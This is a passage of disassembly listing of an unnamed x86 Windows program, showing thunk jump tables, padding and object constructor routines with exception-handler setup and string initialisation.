dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40200E proc near ; CODE XREF: sub_404640+2CEp ; sub_404C70+472p ... jmp sub_40A670 sub_40200E endp ; --------------------------------------------------------------------------- jmp loc_433120 ; --------------------------------------------------------------------------- jmp sub_41B3D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_422370+Ap jmp sub_422650 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: sub_404C70+7EAp jmp sub_41B950 sub_402022 endp ; --------------------------------------------------------------------------- loc_402027: ; DATA XREF: ___:off_43E014o jmp loc_40ADE0 ; --------------------------------------------------------------------------- loc_40202C: ; DATA XREF: ___:off_43E088o jmp loc_42BE60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402031 proc near ; CODE XREF: ___:0040ADE3p ; ___:0040FEDEp ... jmp sub_40AE10 sub_402031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402036 proc near ; CODE XREF: sub_424840+109p ; sub_424840+178p ... jmp sub_424720 sub_402036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40203B proc near ; CODE XREF: sub_4098E0+7p jmp sub_4099D0 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_416660+Ap jmp sub_416870 sub_402040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402045 proc near jmp sub_40CB10 sub_402045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204A proc near ; CODE XREF: ___:0042EEEBp ; sub_42FDD0+EAp jmp sub_433030 sub_40204A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: sub_421960+5p ; sub_421A50+6p ... jmp sub_421EF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp ; sub_40FF60+95Ep ... jmp sub_411990 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_40C040+7p jmp sub_40C230 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40205E proc near ; CODE XREF: sub_418940+34p ; sub_418E90+67p jmp sub_418CA0 sub_40205E endp ; --------------------------------------------------------------------------- jmp loc_409B10 ; --------------------------------------------------------------------------- loc_402068: ; DATA XREF: ___:off_43E13Co jmp loc_427FC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_417020+2Bp ; sub_417020+3Bp ... jmp sub_403EE0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_4097D0+14p jmp sub_409830 sub_402072 endp ; --------------------------------------------------------------------------- jmp loc_431FD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp jmp sub_4279F0 sub_40207C endp ; --------------------------------------------------------------------------- jmp sub_426650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402086 proc near ; CODE XREF: sub_418330+4Dp jmp sub_418A70 sub_402086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_415160+5p ; sub_415310+6p ... jmp sub_415CE0 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_426650+3p jmp sub_426680 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_41B0F0 ; --------------------------------------------------------------------------- jmp loc_421620 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40209F proc near ; CODE XREF: ___:00416D4Fp jmp sub_407030 sub_40209F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_413670+83p ; sub_4144D0+91p ... jmp sub_415310 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; DATA XREF: ___:0043E054o jmp sub_41EF30 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p jmp sub_40AD00 sub_4020AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp ; sub_432980+36p jmp sub_4329F0 sub_4020B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p ; sub_422240+11p jmp sub_4223E0 sub_4020B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: sub_4220E0+4p jmp sub_4224F0 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp jmp sub_42A440 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; CODE XREF: ___:0041A212p jmp sub_41A2B0 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_416760+Ap jmp sub_4168C0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co jmp sub_42B2D0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020D6 proc near ; CODE XREF: sub_415C70+4p jmp sub_416490 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: ___:0042F4B6p ; ___:0042F518p ... jmp sub_4337E0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_418D20+8p jmp sub_418FC0 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020E5 proc near ; CODE XREF: sub_418890+34p ; sub_418D80+67p jmp sub_418BA0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p jmp sub_41A860 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; CODE XREF: sub_415AA0+35p jmp sub_416570 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp ; sub_4066E0+43p ... jmp sub_409BC0 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p ; sub_40BE60+6p ... jmp sub_40C060 sub_4020F9 endp ; --------------------------------------------------------------------------- jmp loc_42F5B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: ___:00416E7Ap jmp sub_4190B0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: ___:00429A33p jmp sub_429A60 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp ; sub_40FF60+1392p ... jmp sub_4147D0 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_4139B0+38p ; sub_413DA0+5Fp jmp sub_413510 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40A130+14p ; sub_40A160+7p ... jmp sub_40A180 sub_402117 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40211C proc near ; CODE XREF: sub_42A150+157p jmp sub_429D00 sub_40211C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap ; sub_40AC30+1Ap jmp sub_40ACA0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: sub_415600+3p ; ___:00415E1Fp ... jmp sub_416050 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; DATA XREF: ___:0043E02Co jmp sub_40FF60 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_4147D0+EDp jmp sub_415830 sub_402130 endp ; --------------------------------------------------------------------------- jmp loc_41B390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_40BE20+3p jmp sub_40C0A0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40BEC0+11p ; ___:0040BEE7p ... jmp sub_40C1E0 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_41E660+2C5p jmp sub_4207E0 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; CODE XREF: sub_41D830+652p jmp sub_41C070 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40214E proc near ; CODE XREF: sub_418BC0+32p jmp sub_418E90 sub_40214E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402153 proc near ; CODE XREF: sub_40EC30+ACp ; ___:0040F35Dp jmp sub_40ED70 sub_402153 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_4137E0+93p jmp sub_433A20 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp ; sub_415AA0+2Cp jmp sub_415A00 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: ___:0042541Dp jmp sub_4253E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402167 proc near ; CODE XREF: sub_420530+17Dp jmp sub_4219D0 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40216C proc near ; CODE XREF: ___:0042C261p jmp sub_42A090 sub_40216C endp ; --------------------------------------------------------------------------- loc_402171: ; DATA XREF: ___:off_43E010o jmp loc_409B10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap ; sub_40A9F0+103p jmp sub_40AC30 sub_402176 endp ; --------------------------------------------------------------------------- jmp loc_426620 ; --------------------------------------------------------------------------- jmp loc_41AC00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402185 proc near ; CODE XREF: sub_407220+16p ; sub_407260+Bp ... jmp sub_4074C0 sub_402185 endp ; --------------------------------------------------------------------------- jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218F proc near ; CODE XREF: sub_40B000+1Bp jmp sub_432AD0 sub_40218F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: ___:00415A5Ap jmp sub_4164E0 sub_402194 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp ; sub_430690+1Bp ... jmp sub_430700 sub_402199 endp ; --------------------------------------------------------------------------- jmp loc_42EA90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A3 proc near ; CODE XREF: ___:004086AAp ; ___:004086CFp ... jmp sub_4198C0 sub_4021A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A8 proc near ; DATA XREF: ___:0043E130o ; ___:0043E140o ... jmp sub_42C710 sub_4021A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021AD proc near ; CODE XREF: sub_40B520+55p jmp sub_409FD0 sub_4021AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co jmp sub_428220 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p ; sub_422410+67p jmp sub_422130 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp ; sub_4070F0+68p ... jmp sub_407260 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_4333F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p ; sub_41C610+332p ... jmp sub_41D670 sub_4021C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021CB proc near ; CODE XREF: sub_40BC70+11p ; sub_40BEC0+1Fp jmp sub_40BFF0 sub_4021CB endp ; --------------------------------------------------------------------------- jmp loc_42F5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap ; sub_4246D0+1Bp ... jmp sub_424420 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: ___:004169BBp jmp sub_418940 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DF proc near jmp sub_42BB70 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_42EC80 ; --------------------------------------------------------------------------- jmp loc_42EE10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021EE proc near ; CODE XREF: sub_433160+1Bp jmp sub_4331D0 sub_4021EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F3 proc near ; CODE XREF: sub_42E400+101p jmp sub_42DD50 sub_4021F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co jmp sub_4071C0 sub_4021F8 endp ; --------------------------------------------------------------------------- jmp loc_42E2D0 ; --------------------------------------------------------------------------- jmp locret_418840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402207 proc near ; CODE XREF: sub_4036D0+25p ; sub_4036D0+35p ... jmp sub_403C90 sub_402207 endp ; --------------------------------------------------------------------------- jmp loc_433100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_418330+88p ; sub_418330+98p jmp sub_418A90 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: ___:00416ABBp ; ___:00439F0Aj ... jmp sub_417770 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; CODE XREF: sub_418AE0+5p jmp sub_418D50 sub_40221B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402220 proc near ; CODE XREF: sub_414640+3p jmp sub_414670 sub_402220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402225 proc near ; CODE XREF: ___:0042F2FBp ; ___:0042FC27p ... jmp sub_430AD0 sub_402225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; DATA XREF: ___:off_43E11Co jmp sub_427600 sub_40222A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222F proc near ; CODE XREF: sub_42F840+102p ; sub_431730+5Dp ... jmp sub_430810 sub_40222F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_413510+5Cp ; sub_413510+C0p ... jmp sub_415460 sub_402234 endp ; --------------------------------------------------------------------------- jmp loc_431410 ; --------------------------------------------------------------------------- jmp loc_42F170 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_41D830+203p jmp sub_42D0D0 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: sub_42E400+148p ; sub_42E400+173p jmp sub_42DC70 sub_402248 endp ; --------------------------------------------------------------------------- jmp loc_42E1A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_4133D0+34p ; sub_4147D0+40p jmp sub_4158F0 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p ; sub_40CF60+ADp jmp sub_40CF60 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_42E220 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402261 proc near ; CODE XREF: sub_422A40+938p jmp loc_423FA0 sub_402261 endp ; --------------------------------------------------------------------------- jmp loc_419A90 ; --------------------------------------------------------------------------- loc_40226B: ; CODE XREF: ___:00438CE6j jmp loc_40CEE0 ; --------------------------------------------------------------------------- db 1270h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4034E0 proc near ; CODE XREF: sub_4019B5j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_4034E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403539 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40352A: ; CODE XREF: sub_4034E0+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40352A loc_403539: ; CODE XREF: sub_4034E0+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_401424 push offset asc_4435EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401861 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A87 push offset byte_446F70 lea ecx, [esp+47Ch+var_450] call sub_401861 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_403591: ; CODE XREF: sub_4034E0+105j mov ebp, [edi] test ebp, ebp jz short loc_4035E7 lea ecx, [esp+478h+var_438] call sub_401681 dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016AE mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017E4 push eax lea ecx, [esp+47Ch+var_450] call sub_401A9B lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_403591 loc_4035E7: ; CODE XREF: sub_4034E0+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014C9 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_4034E0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036B0 proc near ; CODE XREF: sub_401681j mov eax, [ecx+9] retn sub_4036B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036D0 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4036D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_402207 lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_402207 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_402207 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_402207 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_402207 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_402207 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_402207 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_402207 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_402207 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_402207 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_402207 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_402207 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_402207 mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_402207 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_402207 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_402207 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_402207 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_402207 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_402207 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_402207 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_402207 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_402207 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_402207 lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_402207 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_402207 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_402207 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_402207 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_402207 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_402207 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_402207 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_402207 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_402207 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_402207 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_402207 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401749 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401749 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401749 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401749 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401749 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401749 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401749 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401749 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401749 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401749 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401749 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401749 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401749 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401749 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401749 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401749 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401749 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4036D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C00 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C70 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43E004 retn sub_403C70 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C90 proc near ; CODE XREF: sub_402207j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403C90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D10 proc near ; CODE XREF: sub_401AD2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D10 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D90 proc near ; CODE XREF: sub_401749j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E00 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_402207 lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+124h] mov byte ptr 